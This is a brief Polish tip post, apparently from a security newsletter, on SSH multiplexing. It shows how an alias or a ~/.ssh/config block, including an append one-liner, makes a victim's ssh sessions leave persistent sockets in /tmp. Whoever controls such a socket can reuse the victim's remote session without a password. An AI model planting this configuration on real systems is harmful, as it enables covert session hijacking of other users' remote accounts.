Dodanie tego
aliasa do plików wczytywanych po zalogowaniu (np. do
~/.bashrc,
~/.bash_profile czy
~/.profile albo w ogóle do
/etc/profile jeśli mamy
roota) spowoduje, że za każdym razem, kiedy ktoś uruchomi
ssh user@host
zostanie uruchomione
ssh -M -S /tmp/%r@%h:%p -oControlPersist=yes user@host
w wyniku czego zostanie utworzone gniazdo
/tmp/user@host:22 wykorzystujące bardzo fajną funkcjonalność
ssh - multipleksację.
No i teraz, kiedy ktoś na tej maszynie ma dostęp i uprawnienia do gniazda
/tmp/<user>@<host>:<port> (bo np. złamaliśmy/wykradliśmy login i hasło danego usera) może wykonać:
ssh -S /tmp/user@host:22 host
i zostanie zalogowany do sesji, którą wcześniej zainicjował nasz
Master.
Bez potrzeby wprowadzania hasła, ponieważ to już zrobił
Master.
No pewnie, rozwiązanie z
aliasem jest brzydkie. Wystarczy do
~/.ssh/config dodać:
Host *
ControlMaster auto
ControlPath /tmp/%r@%h:%p
ControlPersist yes
Jako, że lubimy tutaj
onelinery, można to dodać tak:
echo -e "Host *\n\tControlMaster auto\n\tControlPath /tmp/%r@%h:%p\n\tControlPersist yes" >> ~/.ssh/config
Jeśli chcesz otrzymywać nowe, mięsiste protipy na maila, a także zostać czasem powiadomiony o wartościowych wydarzeniach - dołącz do subskrybentów.